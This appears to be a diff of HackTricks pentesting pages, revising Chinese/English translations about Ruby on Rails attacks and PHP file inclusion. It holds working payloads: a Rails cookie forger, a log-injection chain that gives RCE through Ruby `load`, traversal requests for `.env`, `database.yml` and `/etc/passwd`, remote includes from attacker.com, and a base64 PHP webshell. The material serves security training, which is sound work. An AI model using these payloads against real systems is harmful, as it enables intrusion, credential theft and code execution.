+As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
提示:
-- 其他在应用启动时执行的 boot/eager-load 位置在可写时也存在风险(例如,`config/initializers/` 是经典位置)。如果你发现任意文件上传落到 `config/` 下的任意位置并随后被评估/require,可能会在启动时获得 RCE。
-- 寻找将用户控制的文件复制到容器镜像中并在 Rails 启动时加载的 dev/staging 构建。
+- 其他在应用启动时执行的 boot/eager-load 位置在可写时也很危险(例如,`config/initializers/` 是典型的例子)。如果你发现任意文件上传被放到 `config/` 下的任何位置并在随后被 evaluated/required,则可能在启动时获得 RCE。
+- 查找将用户可控文件复制到容器镜像中且 Rails 会在启动时加载它们的 dev/staging 构建。
## Active Storage image transformation → command execution (CVE-2025-24293)
-当应用使用 Active Storage 且同时使用 `image_processing` + `mini_magick`,并将不受信任的参数传递给图像转换方法时,Rails 7.1.5.2 之前 / 7.2.2.2 之前 / 8.0.2.1 之前的版本可能允许命令注入,因为某些转换方法被错误地默认允许。
+When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
```erb
@@ -20,32 +20,32 @@
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
-- 测试时可尝试
-- 识别任何接受 variant/processing 选项、转换名称或任意 ImageMagick 参数的端点。
-- 对 `params[:t]` 和 `params[:v]` 进行模糊测试,观察可疑错误或执行副作用。如果你能影响方法名或传递原始参数到 MiniMagick,可能在图像处理主机上获得代码执行。
-- 如果你只有对生成的 variants 的只读访问,尝试通过精心构造的 ImageMagick 操作进行盲提取。
+- What to try during testing
+- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
+- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
+- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
-- 修复/检测
-- 如果你看到 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 并且同时使用 Active Storage + `image_processing` + `mini_magick` 且存在用户可控的转换,则应视为可利用。建议升级并对方法/参数实施严格白名单以及强化的 ImageMagick 策略。
+- Remediation/detections
+- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
## Rack::Static LFI / path traversal (CVE-2025-27610)
-如果目标栈直接或通过框架使用 Rack middleware,`rack` 在 2.2.13、3.0.14、3.1.12 之前的版本在 `:root` 未设置/配置错误时允许通过 `Rack::Static` 进行本地文件包含。`PATH_INFO` 中的编码遍历可以暴露进程工作目录或意外的根目录下的文件。
+If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
-- 搜索在 `config.ru` 或 middleware 栈中挂载 `Rack::Static` 的应用。对静态路径尝试编码遍历,例如:
+- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
-调整前缀以匹配配置的 `urls:`。如果应用返回文件内容,说明你很可能对已解析的 `:root` 下的任何内容具有 LFI。
+Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
-- 缓解:升级 Rack;确保 `:root` 仅指向公共文件目录并显式设置。
+- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
-Rails 使用从 `secret_key_base` 派生的密钥对 cookies 进行加密和签名。如果该值 leaked(例如,在仓库、日志或配置错误的凭证中),通常可以解密、修改并重新加密 cookies。这通常会导致如果应用将角色、用户 ID 或功能标志存储在 cookies 中的授权绕过。
+Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
-Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
+用于解密并重新加密现代 cookies 的最小 Ruby 代码(AES-256-GCM,近期 Rails 的默认):
```ruby
require 'cgi'
require 'json'
@@ -71,12 +71,12 @@ forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
注意:
-- 较旧的应用可能使用 AES-256-CBC 并以 `encrypted cookie` / `signed encrypted cookie` 作为 salts,或使用 JSON/Marshal 序列化器。请相应地调整 salts、cipher 和 serializer。
-- 在被攻破/评估时,轮换 `secret_key_base` 以使所有现有 cookies 失效。
+- 较旧的应用可能使用 AES-256-CBC 和 salts `encrypted cookie` / `signed encrypted cookie`,或者使用 JSON/Marshal 序列化器。相应地调整 salts、cipher 和 serializer。
+- 在妥协/评估时,旋转 `secret_key_base` 以使所有已存在的 cookies 失效。
-## 另请参阅(Ruby/Rails 特定漏洞)
+## 另见 (Ruby/Rails-specific vulns)
-- Ruby 反序列化与类污染:
+- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
@@ -86,15 +86,89 @@ puts "Forged cookie: #{CGI.escape(forged)}"
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
-- Ruby 引擎中的模板注入(ERB/Haml/Slim 等):
+- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
+## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
+当一个应用(通常是一个简单的 Rack/Sinatra/Rails 端点)同时满足:
+- 按原样记录用户可控的字符串,且
+- 之后通过 `Pathname#cleanpath` 处理后,从同一字符串派生路径并 `load` 该文件,
+
+通常可以通过污染日志然后强制应用 `load` 日志文件来实现远程代码执行。关键原语:
+
+- Ruby 的 `load` 会将目标文件内容作为 Ruby 解释执行,忽略文件扩展名。任何可读的文本文件,只要其内容能被解析为 Ruby,就会被执行。
+- `Pathname#cleanpath` 在不访问文件系统的情况下折叠 `.` 和 `..` 段,从而允许路径混淆:可在记录时前置攻击者控制的垃圾数据,而清理后的路径仍解析到要执行的目标文件(例如 `../logs/error.log`)。
+
+### 最小易受攻击模式
+```ruby
+require 'logger'
+require 'pathname'
+
+logger = Logger.new('logs/error.log')
+param = CGI.unescape(params[:script])
+path_obj = Pathname.new(param)
+
+logger.info("Running backup script #{param}") # Raw log of user input
+load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
+```
+### 为什么日志可以包含有效的 Ruby
+`Logger` 写入类似以下的前缀行:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+```
+在 Ruby 中,`#` 表示注释,`9/2/2025` 只是算术运算。要注入有效的 Ruby 代码,你需要:
+- 在新行开始你的 payload,这样不会被 INFO 行中的 `#` 注释掉;发送一个前导换行符(`\n` 或 `%0A`)。
+- 关闭 INFO 行引入的悬空 `[`。常见技巧是以 `]` 开头,并可选地用 `][0]=1` 让解析器满意。
+- 然后放入任意 Ruby 代码(例如 `system(...)`)。
+
+以下是使用精心构造的参数进行一次请求后,最终会写入日志的示例:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
+```
+### 构造一个既会记录代码又会解析为日志路径的单字符串
+我们需要一个由攻击者控制的单个字符串,满足:
+- 当原样记录时,包含我们的 Ruby payload,且
+- 当通过 `Pathname.new().cleanpath` 处理时,解析为 `../logs/error.log`,因此随后对该刚被污染的日志文件执行 `load`。
+
+Pathname#cleanpath 会忽略 schemes 并折叠遍历组件,所以下面的方法可行:
+```ruby
+require 'pathname'
+
+p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
+puts p.cleanpath # => ../logs/error.log
+```
+- 在 `://` 前的 `#` 确保 Ruby 在日志被执行时忽略尾部,而 `cleanpath` 仍会将后缀简化为 `../logs/error.log`。
+- 前导的 newline 会跳出 INFO 行;`]` 关闭悬挂的括号;`][0]=1` 满足解析器。
+
+### End-to-end exploitation
+1. 将以下内容作为备份脚本名发送(如果需要,将第一个 newline URL-encode 为 `%0A`):
+```
+\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
+```
+2. 应用将你的原始字符串记录到 `logs/error.log`。
+3. 应用计算 `cleanpath`,解析为 `../logs/error.log` 并对其调用 `load`。
+4. Ruby 会执行你注入到日志中的代码。
+
+To exfiltrate a file in a CTF-like environment:
+```
+\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
+```
+URL-encoded PoC (第一个字符是换行符):
+```
+%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
+```
## 参考资料
-- Rails 安全公告:CVE-2025-24293 Active Storage 不安全的转换方法(已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
-- GitHub Advisory: Rack::Static 本地文件包含 (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- Rails 安全公告: CVE-2025-24293 Active Storage unsafe transformation methods (已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- GitHub 通报: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
+- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
+- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
+- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
index 7700861bb..557d9f6a9 100644
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
@@ -13,11 +13,11 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
-如果找到有效的凭据,可以使用更多 metasploit 扫描模块来获取信息。
+如果你发现有效凭据,可以使用更多 metasploit scanner modules 来获取信息。
-### 另请参阅
+### 参见
-Linux LPE 通过 VMware Tools 服务发现 (CWE-426 / CVE-2025-41244):
+Linux LPE 通过 VMware Tools service discovery (CWE-426 / CVE-2025-41244):
{{#ref}}
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index eb5237c5f..bfe64c5ca 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -4,14 +4,14 @@
## File Inclusion
-**Remote File Inclusion (RFI):** 文件从远程服务器加载(最佳情况:你可以写入代码并让服务器执行)。在 php 中默认是 **禁用** 的(**allow_url_include**)。\
+**Remote File Inclusion (RFI):** 该文件从远程服务器加载(最佳情况:你可以写入代码,服务器会执行它)。在 php 中,该选项默认被 **禁用**(**allow_url_include**)。\
**Local File Inclusion (LFI):** 服务器加载本地文件。
-当用户以某种方式能够控制将由服务器加载的文件时,就会出现该漏洞。
+当用户以某种方式能够控制将被服务器加载的文件时,就会出现该漏洞。
-易被利用的 **PHP functions**: require, require_once, include, include_once
+易受攻击的 **PHP 函数**: require, require_once, include, include_once
-一个用于利用此漏洞的有趣工具: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+利用该漏洞的一个有趣工具: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
-**我混合了几个 *nix LFI 列表并添加了更多路径,创建了这个:**
+我混合了多个 *nix LFI 列表并添加了更多路径,创建了这个:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
-也试着把 `/` 改为 `\`
-也试着添加 `../../../../../`
+Try also to change `/` for `\`\
+Try also to add `../../../../../`
-可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)找到一个使用多种技术来查找文件 /etc/password(用于检查漏洞是否存在)的列表。
+可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)找到一个使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表
### **Windows**
-不同的 wordlists 合并:
+不同 wordlists 的合并:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
-也试着把 `/` 改为 `\`
-也试着移除 `C:/` 并添加 `../../../../../`
+Try also to change `/` for `\`\
+Try also to remove `C:/` and add `../../../../../`
-可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)找到一个使用多种技术来查找文件 /boot.ini(用于检查漏洞是否存在)的列表。
+可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)找到一个使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表
### **OS X**
查看 linux 的 LFI 列表。
-## Basic LFI and bypasses
+## 基本的 LFI 及绕过方法
-All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\]().
+所有示例均针对 Local File Inclusion,但也可应用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\\]()。
```
http://example.com/index.php?page=../../../etc/passwd
```
-### traversal sequences 被非递归地剥离
+### traversal sequences stripped non-recursively
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
-绕过在提供的字符串末尾追加更多字符的限制(绕过: $\_GET\['param']."php")
+Bypass 在提供的字符串末尾追加更多字符 (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
-这自 **PHP 5.4** 起已解决
+这在 **PHP 5.4 之后已解决**
### **编码**
-你可以使用非标准编码,例如 double URL encode(以及其他):
+你可以使用非标准编码,比如 double URL encode(以及其他):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
-### 从已存在的文件夹
+### 从现有文件夹
-也许后端正在检查文件夹路径:
+可能后端正在检查文件夹路径:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### 在服务器上探索文件系统目录
-服务器的文件系统可以通过递归方式来识别目录(不仅限于文件),方法是使用某些技术。此过程包括确定目录深度并探测特定文件夹是否存在。下面是实现此目的的详细方法:
+可以通过某些技术递归地探索服务器的文件系统来识别目录,而不仅仅是文件。该过程涉及确定目录深度并探测特定文件夹是否存在。下面是实现该目标的详细方法:
-1. **Determine Directory Depth:** 通过成功获取 `/etc/passwd` 文件来确认当前目录的深度(适用于基于 Linux 的服务器)。示例 URL 可能如下所示,表示深度为三:
+1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(如果服务器基于 Linux,则适用)。例如,一个 URL 可能如下所示,表示深度为三:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
-2. **探测文件夹:** 将怀疑的文件夹名(例如,`private`)附加到 URL,然后返回到 `/etc/passwd`。额外的目录层级需要将深度增加一层:
+2. **探测文件夹:** 在 URL 后追加疑似文件夹名(例如,`private`),然后导航回 `/etc/passwd`。额外的目录层级需要将深度增加一层:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
-3. **解释结果:** 服务器的响应会表明该文件夹是否存在:
-- **错误 / 无输出:** 指定位置很可能不存在 `private` 文件夹。
-- **显示 `/etc/passwd` 的内容:** 确认存在 `private` 文件夹。
-4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探测其子目录或文件。
+3. **解释结果:** 服务器的响应表明该文件夹是否存在:
+- **Error / No Output:** 指定位置很可能不存在 `private` 文件夹。
+- **Contents of `/etc/passwd`:** 确认存在 `private` 文件夹。
+4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法,进一步探测其子目录或文件。
-要探索文件系统中不同位置的目录,请相应调整 payload。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3),使用:
+要在文件系统的不同位置探索目录,请相应调整 payload。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3),请使用:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
-Path truncation 是一种在 web 应用中操纵文件路径的方法。它通常用于通过绕过那些在文件路径末尾附加额外字符的安全措施来访问受限文件。目标是精心构造一个文件路径,使得在安全机制修改后仍然指向目标文件。
+Path truncation 是一种用于操纵 web 应用中文件路径的方法。它常被用来通过绕过那些在文件路径末尾追加额外字符的安全措施以访问受限文件。目标是构造一个文件路径,使得在被安全措施修改后仍然指向目标文件。
-在 PHP 中,由于文件系统的行为,同一文件路径可以有多种等价表示。例如:
+In PHP 中,由于文件系统的特性,同一路径可以有多种表示方式被视为等价。例如:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` 都被视为相同的路径。
-- 当最后 6 个字符是 `passwd` 时,附加一个 `/`(变成 `passwd/`)不会改变目标文件。
-- 类似地,如果文件路径末尾有 `.php`(例如 `shellcode.php`),在末尾添加 `/.` 不会改变被访问的文件。
+- 当最后 6 个字符是 `passwd` 时,追加一个 `/`(变成 `passwd/`)不会改变目标文件。
+- 类似地,如果在文件路径末尾附加了 `.php`(例如 `shellcode.php`),在末尾加上 `/.` 不会改变被访问的文件。
-下面的示例演示如何利用 path truncation 访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户账户信息):
+下面的示例演示了如何利用 path truncation 访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户账户信息):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
-在这些情况下,所需的遍历次数可能大约为 2027,但此数字会根据服务器配置而有所不同。
+在这些场景中,所需的 traversals 数量可能约为 2027,但该数量会根据服务器的配置而变化。
-- **Using Dot Segments and Additional Characters**: 可以使用遍历序列(`../`)配合额外的点段和字符来在文件系统中导航,实际上可以使服务器附加的字符串被忽略。
-- **Determining the Required Number of Traversals**: 通过反复试验,可以找到精确的 `../` 序列数量,以导航到根目录然后到 `/etc/passwd`,确保任何附加的字符串(例如 `.php`)被中和,同时所需路径(`/etc/passwd`)保持不变。
-- **Starting with a Fake Directory**: 通常会在路径前加上一个不存在的目录(例如 `a/`)。这种做法作为一种预防措施或用于满足服务器路径解析逻辑的要求。
+- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) 与额外的点段和字符组合,可用于在文件系统中导航,从而使服务器追加的字符串被有效忽略。
+- **Determining the Required Number of Traversals**: 通过反复试验,可以找到导航到根目录再到 `/etc/passwd` 所需的精确 `../` 序列数,确保任何被追加的字符串(例如 `.php`)被中和,同时目标路径 (`/etc/passwd`) 保持完整。
+- **Starting with a Fake Directory**: 常见做法是以一个不存在的目录(例如 `a/`)开始路径。此方法用作预防措施或用于满足服务器路径解析逻辑的要求。
-在使用 path truncation techniques 时,了解服务器的路径解析行为和文件系统结构至关重要。每种情形可能需要不同的方法,通常需要通过测试来找到最有效的手段。
+When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. 每种情形可能需要不同的方法,通常需要通过测试来找到最有效的方式。
-**该漏洞已在 PHP 5.3 中修复。**
+**此漏洞已在 PHP 5.3 中修复。**
### **Filter bypass tricks**
```
@@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
-在 php 中,这默认被禁用,因为 **`allow_url_include`** 是 **Off.** 必须为 **On** 才能生效,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:
+在 php 中此功能默认被禁用,因为 **`allow_url_include`** 是 **Off.** 要使其工作必须设置为 **On**,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
-如果由于某些原因 **`allow_url_include`** 为 **On**,但 PHP 正在 **filtering** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data 协议 配合 base64 来解码 b64 PHP 代码并获得 RCE:
+如果因为某些原因 **`allow_url_include`** 是 **On**,但 PHP 正在 **filtering** 对外部网页的访问, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data 协议 搭配 base64 来解码 b64 PHP 代码并获得 RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
-> 在前面的代码中,最后的 `+.txt` 是被添加上去,因为 attacker 需要一个以 `.txt` 结尾的字符串,所以字符串以此结尾,b64 decode 之后那部分会变成垃圾,而真正的 PHP 代码会被包含(并因此被执行)。
-
-Another example **not using the `php://` protocol** would be:
+> 在之前的代码中,末尾的 `+.txt` 是添加进去的,因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以它结束,且在 b64 decode 之后,那部分将只返回垃圾数据,而真正的 PHP 代码会被包含(因此被执行)。
+>
+> 另一个**不使用 `php://` 协议**的示例为:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python 根元素
-在 Python 中,如下代码所示:
+在 python 中,在像下面这样的代码中:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
-如果用户向 **`file_name`** 传递了一个 **absolute path**,则**之前的路径会被移除**:
+如果用户将**绝对路径**传递给**`file_name`**,则**先前的路径会被移除**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
-It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+根据 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join),这是预期的行为:
-> 如果某个组件是绝对路径,所有之前的组件将被丢弃,连接将从该绝对路径组件开始继续。
+> 如果某个组件是绝对路径,则之前的所有组件都会被丢弃,并从该绝对路径组件继续进行连接。
## Java 列出目录
-看起来,如果在 Java 中存在 Path Traversal,并且你 **请求一个目录** 而不是文件,系统会 **返回该目录的列表**。据我所知,这在其他语言中不会发生。
+看起来,如果在 Java 中存在 Path Traversal 并且你 **请求一个目录** 而不是文件,**将返回该目录的列表**。这在其他语言中不会发生(afaik)。
-## 前25个参数
+## 前 25 个参数
-下面是可能易受 local file inclusion (LFI) 漏洞影响的前25个参数列表(来自 [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+下面是可能容易受到 local file inclusion (LFI) 漏洞影响的前 25 个参数列表(来自 [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@@ -215,34 +215,34 @@ It is the intended behaviour according to [the docs](https://docs.python.org/3.1
### php://filter
-PHP filters 允许在数据被读取或写入之前执行基本的 **修改操作**。过滤器分为五类:
+PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
-- `string.strip_tags`: 从数据中移除标签(位于 "<" 和 ">" 字符之间的所有内容)
+- `string.strip_tags`: 从数据中移除标签(位于 "<" 与 ">" 字符之间的所有内容)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
-- `convert.iconv.*` : 转换为不同的编码(`convert.iconv..`)。要获取支持的**所有编码的列表**,在控制台运行:`iconv -l`
+- `convert.iconv.*` : 将数据转换为不同编码(`convert.iconv..`)。要获取 **所有支持的编码列表**,请在控制台运行:`iconv -l`
> [!WARNING]
-> 滥用 `convert.iconv.*` 转换过滤器可以**生成任意文本**,这可能有助于写入任意文本或让像 include 的函数处理任意文本。更多信息请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: 压缩内容(当外泄大量信息时很有用)
-- `zlib.inflate`: 解压数据
+- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
+- `zlib.inflate`: Decompress the data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
-- `mcrypt.*` : Deprecated
-- `mdecrypt.*` : Deprecated
+- `mcrypt.*` : 已弃用
+- `mdecrypt.*` : 已弃用
- Other Filters
-- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到一些 **意外的过滤器**:
+- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `consumed`
-- `dechunk`: 反转 HTTP chunked 编码
+- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
```php
# String Filters
@@ -275,35 +275,35 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### 使用 php filters 作为 oracle 来读取任意文件
-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在服务器不直接返回输出的情况下读取本地文件的技术。该技术基于使用 php filters 作为 oracle 对文件进行 **boolean exfiltration(逐字符)**。这是因为 php filters 可以被用来将文本放大到足以让 php 抛出异常的程度。
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种技术,可以在服务器不返回输出的情况下读取本地文件。该技术基于 **boolean exfiltration of the file (char by char) using php filters** 作为 oracle。这是因为 php filters 可以用来把文本放大到足以让 php 抛出异常的程度。
-原文中有对该技术的详细解释,下面是快速总结:
+在原文中你可以找到该技术的详细解释,但这里给出快速总结:
-- 使用编码器 **`UCS-4LE`** 将文本的前导字符保留在开头,并使字符串大小呈指数级增长。
-- 这将被用来生成一个在初始字母被正确猜出时会变得非常大的文本,从而使 php 触发 **错误**。
-- **dechunk** filter 会在第一个字符不是十六进制时 **移除所有内容**,因此我们可以判断第一个字符是否为十六进制。
-- 将上面这一点与之前的放大手段(以及根据猜测字母使用的其他 filters)结合,可以通过观察在进行足够多的变换后何时不会被视为十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始的放大会触发 php 错误。
-- codec **convert.iconv.UNICODE.CP930** 会把每个字母变为下一个字母(例如 a -> b)。因此我们可以检测第一个字母是否为 `a`:如果对其应用 6 次该 codec,a->b->c->d->e->f->g,该字母就不再是十六进制字符,因而 dechunk 不会删除它,初始的放大会触发 php 错误。
-- 在开头使用诸如 **rot13** 的变换可以 leak 其它字符如 n, o, p, q, r(也可以使用其他 codecs 将其他字母移动到十六进制范围)。
-- 当初始字符是数字时,需要对其进行 base64 编码并 leak 前 2 个字符来泄露该数字。
-- 最终问题是如何 leak 超出初始字母的更多内容。通过使用改变字节顺序的 filters,如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**,可以改变字符顺序并将文本的其他字母移到首位。
-- 为了能够获取更远处的数据,思路是用 **convert.iconv.UTF16.UTF16** 在开头生成 2 字节的垃圾数据,应用 **UCS-4LE** 使其与接下来的 2 字节发生“枢轴”交换,然后删除直到垃圾数据为止(这将移除初始文本的前 2 字节)。继续这样操作直到到达想要 leak 的位。
